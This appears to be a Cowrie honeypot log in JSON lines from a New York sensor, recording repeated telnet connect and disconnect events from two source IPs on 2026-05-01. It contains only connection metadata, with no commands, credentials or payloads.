{"eventid":"cowrie.session.closed","duration":30.9780912399292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.203333Z","src_ip":"208.115.200.90","session":"91fbee9325c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890551567077637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.212116Z","src_ip":"208.115.200.90","session":"4e88afea5252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199109077453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.231799Z","src_ip":"208.115.200.90","session":"63206da44a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d2778691370","protocol":"telnet","message":"New connection: 208.115.219.122:57058 (10.17.0.5:23) [session: 2d2778691370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.657704Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e853dac3dc","protocol":"telnet","message":"New connection: 208.115.200.90:41820 (10.17.0.5:23) [session: 23e853dac3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.681048Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41832,"dst_ip":"10.17.0.5","dst_port":23,"session":"720dd1ccfc6e","protocol":"telnet","message":"New connection: 208.115.200.90:41832 (10.17.0.5:23) [session: 720dd1ccfc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.762718Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57060,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4df64d0521a","protocol":"telnet","message":"New connection: 208.115.219.122:57060 (10.17.0.5:23) [session: c4df64d0521a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.826306Z"}
{"eventid":"cowrie.session.closed","duration":30.833313465118408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.075501Z","src_ip":"208.115.200.90","session":"ec56276231b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608402013778687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.092805Z","src_ip":"208.115.200.90","session":"673049eb547c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"139c63381d6d","protocol":"telnet","message":"New connection: 208.115.200.90:41838 (10.17.0.5:23) [session: 139c63381d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.154994Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1292d94d5cc","protocol":"telnet","message":"New connection: 208.115.200.90:41850 (10.17.0.5:23) [session: b1292d94d5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.164399Z"}
{"eventid":"cowrie.session.closed","duration":30.78327178955078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.170496Z","src_ip":"208.115.200.90","session":"3ed9cc6d910b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41852,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c57f65d9b05","protocol":"telnet","message":"New connection: 208.115.200.90:41852 (10.17.0.5:23) [session: 7c57f65d9b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.224086Z"}
{"eventid":"cowrie.session.closed","duration":30.586235284805298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.261773Z","src_ip":"208.115.200.90","session":"9f4049756841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06630778312683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.302711Z","src_ip":"208.115.200.90","session":"b9e5d24e25bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316349983215332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.321727Z","src_ip":"208.115.200.90","session":"e68e7944b12c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5b10bffd65","protocol":"telnet","message":"New connection: 208.115.219.122:57062 (10.17.0.5:23) [session: ff5b10bffd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.529947Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41854,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba0ad3d16bc","protocol":"telnet","message":"New connection: 208.115.200.90:41854 (10.17.0.5:23) [session: 7ba0ad3d16bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.710464Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41866,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffc4e59c7450","protocol":"telnet","message":"New connection: 208.115.200.90:41866 (10.17.0.5:23) [session: ffc4e59c7450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.823939Z"}
{"eventid":"cowrie.session.closed","duration":31.547523975372314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.871024Z","src_ip":"208.115.200.90","session":"3fd3a597ac38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007344007492065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.902325Z","src_ip":"208.115.200.90","session":"7fbd5504f858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.846206665039062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:06.992289Z","src_ip":"208.115.200.90","session":"f207333c6af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675485372543335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.048289Z","src_ip":"208.115.219.122","session":"162d9fbdab07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98030376434326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.080668Z","src_ip":"208.115.219.122","session":"7162e33934bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41868,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b438fd6340","protocol":"telnet","message":"New connection: 208.115.200.90:41868 (10.17.0.5:23) [session: c7b438fd6340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.164210Z"}
{"eventid":"cowrie.session.closed","duration":30.957168579101562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.196569Z","src_ip":"208.115.200.90","session":"fa5548ea5659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82429337501526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.275548Z","src_ip":"208.115.200.90","session":"985b3f9bfb0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943727254867554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.409100Z","src_ip":"208.115.200.90","session":"53a26973fa28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01783299446106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.475902Z","src_ip":"208.115.200.90","session":"0103d1165ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3867506980896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:07.540368Z","src_ip":"208.115.200.90","session":"c63f96e211f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"2708d9003f3f","protocol":"telnet","message":"New connection: 208.115.200.90:41898 (10.17.0.5:23) [session: 2708d9003f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.076705Z"}
{"eventid":"cowrie.session.closed","duration":30.960137605667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.200974Z","src_ip":"208.115.200.90","session":"a9213f997911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950292825698853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.216284Z","src_ip":"208.115.200.90","session":"0e5c7a945f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41906,"dst_ip":"10.17.0.5","dst_port":23,"session":"fae400bfe4af","protocol":"telnet","message":"New connection: 208.115.200.90:41906 (10.17.0.5:23) [session: fae400bfe4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.261749Z"}
{"eventid":"cowrie.session.closed","duration":30.99415111541748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.315140Z","src_ip":"208.115.200.90","session":"9d415e1c8935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900563716888428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.363015Z","src_ip":"208.115.200.90","session":"dcc034ee5483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41922,"dst_ip":"10.17.0.5","dst_port":23,"session":"77938cf89110","protocol":"telnet","message":"New connection: 208.115.200.90:41922 (10.17.0.5:23) [session: 77938cf89110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.377333Z"}
{"eventid":"cowrie.session.closed","duration":31.061720371246338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.470699Z","src_ip":"208.115.200.90","session":"4470ca11ee18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41932,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e234b3db80","protocol":"telnet","message":"New connection: 208.115.200.90:41932 (10.17.0.5:23) [session: 40e234b3db80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.619550Z"}
{"eventid":"cowrie.session.closed","duration":31.307535648345947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:08.929787Z","src_ip":"208.115.200.90","session":"1c59fd5af0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41948,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d369fcae2e","protocol":"telnet","message":"New connection: 208.115.200.90:41948 (10.17.0.5:23) [session: c2d369fcae2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.008975Z"}
{"eventid":"cowrie.session.closed","duration":30.905871152877808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.035425Z","src_ip":"208.115.219.122","session":"d41411e5f36e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864472150802612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.079464Z","src_ip":"208.115.200.90","session":"c90e5de4ccb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055286169052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.120419Z","src_ip":"208.115.219.122","session":"944ba334f55a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.230003356933594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.167460Z","src_ip":"208.115.200.90","session":"670b33c21123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85333251953125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.287830Z","src_ip":"208.115.200.90","session":"99447d96c664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682252645492554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.349136Z","src_ip":"208.115.200.90","session":"887c42e08acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41950,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5011cc5f586","protocol":"telnet","message":"New connection: 208.115.200.90:41950 (10.17.0.5:23) [session: f5011cc5f586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.371448Z"}
{"eventid":"cowrie.session.closed","duration":31.130557537078857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.395463Z","src_ip":"208.115.200.90","session":"8a89684e0f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41958,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c26d65940f5","protocol":"telnet","message":"New connection: 208.115.200.90:41958 (10.17.0.5:23) [session: 7c26d65940f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.475492Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57072,"dst_ip":"10.17.0.5","dst_port":23,"session":"0724347d3449","protocol":"telnet","message":"New connection: 208.115.219.122:57072 (10.17.0.5:23) [session: 0724347d3449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.540685Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41964,"dst_ip":"10.17.0.5","dst_port":23,"session":"446b0c2461b4","protocol":"telnet","message":"New connection: 208.115.200.90:41964 (10.17.0.5:23) [session: 446b0c2461b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:09.748771Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41972,"dst_ip":"10.17.0.5","dst_port":23,"session":"8193bf09a081","protocol":"telnet","message":"New connection: 208.115.200.90:41972 (10.17.0.5:23) [session: 8193bf09a081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.008703Z"}
{"eventid":"cowrie.session.closed","duration":30.572091102600098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.018088Z","src_ip":"208.115.219.122","session":"ff4044710a3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74540901184082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.275529Z","src_ip":"208.115.200.90","session":"a40997fc63fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174217462539673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.281770Z","src_ip":"208.115.200.90","session":"59a56efeb16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659781217575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.285478Z","src_ip":"208.115.200.90","session":"dfcf4e9bdb5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966289281845093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.335625Z","src_ip":"208.115.200.90","session":"cc657b6a8f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41974,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc63cfc0cc7","protocol":"telnet","message":"New connection: 208.115.200.90:41974 (10.17.0.5:23) [session: efc63cfc0cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.343161Z"}
{"eventid":"cowrie.session.closed","duration":31.344751119613647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.458976Z","src_ip":"208.115.200.90","session":"75a95736c796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3346586227417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.489833Z","src_ip":"208.115.200.90","session":"a31cfbec0396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41984,"dst_ip":"10.17.0.5","dst_port":23,"session":"beafb87c038b","protocol":"telnet","message":"New connection: 208.115.200.90:41984 (10.17.0.5:23) [session: beafb87c038b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.711571Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41992,"dst_ip":"10.17.0.5","dst_port":23,"session":"de223807de30","protocol":"telnet","message":"New connection: 208.115.200.90:41992 (10.17.0.5:23) [session: de223807de30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:10.862895Z"}
{"eventid":"cowrie.session.closed","duration":30.75234293937683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.069543Z","src_ip":"208.115.219.122","session":"aba487050807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.304320335388184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.229676Z","src_ip":"208.115.200.90","session":"25ae8a1f76ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"194d6770be8d","protocol":"telnet","message":"New connection: 208.115.200.90:42014 (10.17.0.5:23) [session: 194d6770be8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.290145Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"b39c5a36c012","protocol":"telnet","message":"New connection: 208.115.200.90:42018 (10.17.0.5:23) [session: b39c5a36c012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.325202Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42028,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b1fc259cb1","protocol":"telnet","message":"New connection: 208.115.200.90:42028 (10.17.0.5:23) [session: c5b1fc259cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.335882Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42036,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3ea3822e4d","protocol":"telnet","message":"New connection: 208.115.200.90:42036 (10.17.0.5:23) [session: 4e3ea3822e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.356514Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42046,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8e93bc624f","protocol":"telnet","message":"New connection: 208.115.200.90:42046 (10.17.0.5:23) [session: fd8e93bc624f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.434351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42068,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ddf554178c","protocol":"telnet","message":"New connection: 208.115.200.90:42068 (10.17.0.5:23) [session: 10ddf554178c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.746242Z"}
{"eventid":"cowrie.session.closed","duration":31.277111291885376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:11.761519Z","src_ip":"208.115.200.90","session":"7d5bdc218277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538166284561157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.024538Z","src_ip":"208.115.200.90","session":"8be83882d6b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42004,"dst_ip":"10.17.0.5","dst_port":23,"session":"927fce333ea1","protocol":"telnet","message":"New connection: 208.115.200.90:42004 (10.17.0.5:23) [session: 927fce333ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.074726Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42092,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9eee6e9c74","protocol":"telnet","message":"New connection: 208.115.200.90:42092 (10.17.0.5:23) [session: cc9eee6e9c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.159335Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42128,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb4d55e1360","protocol":"telnet","message":"New connection: 208.115.200.90:42128 (10.17.0.5:23) [session: ccb4d55e1360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.268484Z"}
{"eventid":"cowrie.session.closed","duration":31.17484450340271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.409352Z","src_ip":"208.115.200.90","session":"87c2f211cf96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42244,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4b7115d064e","protocol":"telnet","message":"New connection: 208.115.200.90:42244 (10.17.0.5:23) [session: b4b7115d064e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.560000Z"}
{"eventid":"cowrie.session.closed","duration":31.148294925689697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.720291Z","src_ip":"208.115.219.122","session":"8da092024e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42308,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e149f3fef3","protocol":"telnet","message":"New connection: 208.115.200.90:42308 (10.17.0.5:23) [session: 38e149f3fef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:12.856883Z"}
{"eventid":"cowrie.session.closed","duration":30.935193300247192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.019197Z","src_ip":"208.115.219.122","session":"361dcad8ac0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42348,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc48f7a56ab","protocol":"telnet","message":"New connection: 208.115.200.90:42348 (10.17.0.5:23) [session: dbc48f7a56ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.122322Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42098,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f35b5db6fe0","protocol":"telnet","message":"New connection: 208.115.200.90:42098 (10.17.0.5:23) [session: 7f35b5db6fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.226607Z"}
